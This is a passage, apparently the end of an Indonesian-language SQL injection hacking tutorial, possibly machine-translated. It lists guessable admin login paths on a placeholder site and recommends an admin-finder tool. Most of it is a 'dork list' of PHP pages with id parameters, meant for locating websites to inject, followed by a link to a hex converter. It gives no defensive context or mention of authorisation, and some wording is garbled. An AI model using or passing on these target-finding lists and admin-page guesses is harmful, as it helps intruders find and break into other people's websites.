4068Biasanya halaman admin akan langsung dari halaman beranda situs, berikut beberapa contohnya:
4069
4070Kode:
4071http://www.site.com/admin
4072http://www.site.com/adminlogin
4073http://www.site.com/modlogin
4074http://www.site.com/moderator
4075
4076Sekali lagi ada program yang akan menemukan halaman untuk Anda tetapi pertama-tama cobalah beberapa tebakan dasar, itu mungkin menghemat beberapa klik. Jika Anda menggunakan program Reiluke telah mengkodekan satu untuk itu juga. Cari Admin Finder oleh Reiluke.
4077
4078Dan itu termasuk tutorial saya! Saya harap ini bermanfaat bagi sebagian dari Anda. Ingatlah untuk terus berlatih dan akhirnya Anda akan memiliki semua pertanyaan yang dihafalkan dalam waktu singkat!
4079
4080Komentar dan Nilai!
4081
4082Berikan kredit di mana kredit jatuh tempo!
4083
4084Saya menepati janji saya jadi di sini adalah apa yang saya katakan akan saya sertakan:
4085
4086Daftar Dork
4087trainers.php? id =
4088article.php? ID =
4089play_old.php? id =
4090declaration_more.php? decl_id =
4091Pageid =
4092games.php? id =
4093newsDetail.php? id =
4094staff_id =
4095historialeer.php? num =
4096product-item.php? id =
4097news_view.php? id =
4098humor.php? id =
4099communique_detail.php? id =
4100sem.php3? id =
4101opinions.php? id =
4102spr.php? id =
4103pages.php? id =
4104chappies.php? id =
4105prod_detail.php? id =
4106viewphoto.php? id =
4107view.php? id =
4108website.php? id =
4109hosting_info.php? id =
4110gery.php? id =
4111detail.php? ID =
4112publikasi.php? id =
4113Productinfo.php? Id =
4114releases.php? id =
4115ray.php? id =
4116produit.php? id =
4117pop.php? id =
4118shopping.php? id =
4119productdetail.php? id =
4120post.php? id =
4121section.php? id =
4122theme.php? id =
4123page.php? id =
4124shredder-categories.php? id =
4125product_ranges_view.php? ID =
4126shop_category.php? id =
4127channel_id =
4128newsid =
4129news_display.php? getid =
4130ages.php? id =
4131clanek.php4? id =
4132review.php? id =
4133iniziativa.php? in =
4134kurikulum.php? id =
4135labels.php? id =
4136lihat.php? ID =
4137galeri_info.php? l =
4138tekst.php? idt =
4139newscat.php? id =
4140newsticker_info.php? idn =
4141rubrika.php? idr =
4142offer.php? idf =
4143
4144Ada daftar dork yang lebih luas yang dapat ditemukan.
4145
4146Konverter Hex / Char
4147http://www.swingnote.com/tools/texttohex.php